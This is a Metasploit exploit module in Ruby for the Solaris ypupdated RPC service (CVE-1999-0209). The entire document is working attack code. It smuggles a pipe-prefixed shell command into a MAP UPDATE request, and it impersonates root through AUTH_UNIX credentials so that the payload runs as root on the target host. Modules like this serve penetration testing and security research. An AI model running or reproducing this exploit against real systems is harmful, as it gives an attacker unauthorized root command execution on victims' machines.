Solaris ypupdated Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SunRPC

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Solaris ypupdated Command Execution',
      'Description'    => %q{
        This exploit targets a weakness in the way the ypupdated RPC
        application uses the command shell when handling a MAP UPDATE
        request.  Extra commands may be launched through this command
        shell, which runs as root on the remote host, by passing
        commands in the format '|<command>'.

        Vulnerable systems include Solaris 2.7, 8, 9, and 10, when
        ypupdated is started with the '-i' command-line option.
      },
      'Author'         => [ 'I)ruid <druid[at]caughq.org>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '1999-0209'],
          ['OSVDB', '11517'],
          ['BID', '1749'],
        ],
      'Privileged'     => true,
      'Platform'       => %w{ solaris unix },
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'    => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '1994-12-12'
    ))

    register_options(
      [
        OptString.new('HOSTNAME', [false, 'Remote hostname', 'localhost']),
        OptInt.new('GID', [false, 'GID to emulate', 0]),
        OptInt.new('UID', [false, 'UID to emulate', 0])
      ], self.class
    )
  end

  def exploit
    hostname  = datastore['HOSTNAME']
    program   = 100028
    progver   = 1
    procedure = 1

    print_status('Sending PortMap request for ypupdated program')
    pport = sunrpc_create('udp', program, progver)

    print_status("Sending MAP UPDATE request with command '#{payload.encoded}'")
    print_status('Waiting for response...')
    sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
    command = '|' + payload.encoded
    msg = Rex::Encoder::XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
    sunrpc_call(procedure, msg)

    sunrpc_destroy

    print_status('No Errors, appears to have succeeded!')
  rescue ::Rex::Proto::SunRPC::RPCTimeout
    print_warning('Warning: ' + $!)
  end
end